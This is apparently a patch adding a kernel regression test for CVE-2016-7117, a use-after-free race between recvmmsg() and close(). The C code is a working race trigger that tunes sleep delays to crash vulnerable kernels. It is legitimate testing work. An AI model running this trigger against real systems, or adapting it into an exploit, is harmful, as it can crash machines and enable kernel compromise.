Test for vulnerability CVE-2016-7117 in recvmmsg error return path

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+/*
+ * Copyright (c) 2017 Richard Palethorpe <[email protected]>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * CVE-2016-7117
+ *
+ * This tests for a use after free caused by a race between recvmmsg() and
+ * close(). The exit path for recvmmsg() in (a2e2725541f: net: Introduce
+ * recvmmsg socket syscall) called fput() on the active file descriptor before
+ * checking the error state and setting the socket's error field.
+ *
+ * If one or more messages are received by recvmmsg() followed by one which
+ * fails, the socket's error field will be set. If just after recvmmsg() calls
+ * fput(), a call to close() is made on the same file descriptor there is a
+ * race between close() releasing the socket object and recvmmsg() setting its
+ * error field.
+ *
+ * fput() does not release a file descriptor's resources (e.g. a socket)
+ * immediatly, it queues them to be released just before a system call returns
+ * to user land. So the close() system call must call fput() after it is
+ * called in recvmmsg(), exit and release the resources all before the socket
+ * error is set.
+ *
+ * Usually if the vulnerability is present the test will be killed with a
+ * kernel null pointer exception. However this is not guaranteed to happen
+ * every time. To maximise the chance of the race occuring the test tries to
+ * align the exit times of the final close() and recvmmsg() plus an offset. It
+ * takes a moving average and uses it to adjust a delay by nanosleep().
+ *
+ * The following was used for reference
+ * https://blog.lizzie.io/notes-about-cve-2016-7117.html
+ */
+
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/syscall.h>
+#include <stdlib.h>
+#include <errno.h>
+
+#include "tst_test.h"
+#include "tst_safe_net.h"
+#include "tst_safe_pthread.h"
+#include "tst_timer.h"
+
+/* The bug was present in the kernel before recvmmsg was exposed by glibc */
+#include "linux_syscall_numbers.h"
+
+#ifndef CLOCK_MONOTONIC_RAW
+#define CLOCK_MONOTONIC_RAW CLOCK_MONOTONIC
+#endif
+
+#define MSG "abcdefghijklmnop"
+#define RECV_TIMEOUT 1
+#define ATTEMPTS 0x1FFFFF
+#define TARGET_AVG_TDIFF (-1000.0d)
+#define ALPHA (0.25d)
+
+static int socket_fds[2];
+static struct mmsghdr msghdrs[2] = {
+	{
+		.msg_hdr = {
+			.msg_iov = &(struct iovec) {
+				.iov_len = sizeof(MSG),
+			},
+			.msg_iovlen = 1
+		}
+	},
+	{
+		.msg_hdr = {
+			.msg_iov = &(struct iovec) {
+				.iov_base = (void *)(0xbadadd),
+				.iov_len = ~0,
+			},
+			.msg_iovlen = 1
+		}
+	}
+};
+static char rbuf[sizeof(MSG)];
+static struct timespec timeout = { .tv_sec = RECV_TIMEOUT };
+static struct timespec close_exit;
+static struct timespec recvmmsg_exit;
+
+static void cleanup(void)
+{
+	close(socket_fds[0]);
+	close(socket_fds[1]);
+}
+
+static inline void exit_time(struct timespec *t)
+{
+	clock_gettime(CLOCK_MONOTONIC_RAW, t);
+}
+
+static void *send_and_close(void *arg)
+{
+	struct timespec *delay = (struct timespec *)arg;
+
+	send(socket_fds[0], MSG, sizeof(MSG), 0);
+	send(socket_fds[0], MSG, sizeof(MSG), 0);
+
+	nanosleep(delay, 0);
+
+	close(socket_fds[0]);
+	close(socket_fds[1]);
+	exit_time(&close_exit);
+
+	return 0;
+}
+
+static void run(void)
+{
+	pthread_t pt_send;
+	int i, stat, too_early_count = 0;
+	long tdiff = 0, delay = 0;
+	double avg_tdiff = 0;
+	struct timespec recv_delay = {0}, clos_delay = {0};
+
+	msghdrs[0].msg_hdr.msg_iov->iov_base = (void *)&rbuf;
+
+	for (i = 1; i < ATTEMPTS; i++) {
+		if (socketpair(AF_LOCAL, SOCK_DGRAM, 0, socket_fds))
+			tst_brk(TBROK | TERRNO, "Socket creation failed");
+
+		SAFE_PTHREAD_CREATE(&pt_send, 0, send_and_close, &clos_delay);
+
+		nanosleep(&recv_delay, 0);
+
+		stat = tst_syscall(__NR_recvmmsg,
+				   socket_fds[1], msghdrs, 2, 0, &timeout);
+		exit_time(&recvmmsg_exit);
+		if (stat < 0 && errno == EBADF)
+			too_early_count++;
+		else if (stat == 0)
+			tst_res(TWARN, "No messages received, should be one");
+		else if (stat < 0)
+			tst_res(TWARN | TERRNO, "recvmmsg failed unexpectedly");
+
+		SAFE_PTHREAD_JOIN(pt_send, 0);
+
+		tdiff = recvmmsg_exit.tv_nsec - close_exit.tv_nsec;
+		avg_tdiff = ALPHA * tdiff + (1.0d - ALPHA) * avg_tdiff;
+		if (!(i & 0xF)) {
+			if (avg_tdiff < TARGET_AVG_TDIFF)
+				delay++;
+			else if (avg_tdiff > TARGET_AVG_TDIFF)
+				delay--;
+
+			if (delay > 0) {
+				recv_delay.tv_nsec = delay;
+				clos_delay.tv_nsec = 1;
+			} else if (delay < 0) {
+				recv_delay.tv_nsec = 1;
+				clos_delay.tv_nsec = -delay;
+			} else {
+				recv_delay.tv_nsec = 1;
+				clos_delay.tv_nsec = 1;
+			}
+		}
+
+		if (!(i & 0x7FFFF)) {
+			tst_res(TINFO, "Early: %.1f%%, diff: %ldns, avg_tdiff: %.5gns",
+				100 * too_early_count / (float)i,
+				tdiff, avg_tdiff);
+			tst_res(TINFO, "Receive delay: %ldns, close delay: %ldns",
+				recv_delay.tv_nsec, clos_delay.tv_nsec);
+		}
+	}
+
+	tst_res(TPASS, "Nothing happened after %d attempts", ATTEMPTS);
+}
+
+static struct tst_test test = {
+	.tid = "cve-2016-7117",
+	.test_all = run,
+	.cleanup = cleanup,
+	.min_kver = "2.6.33",
+};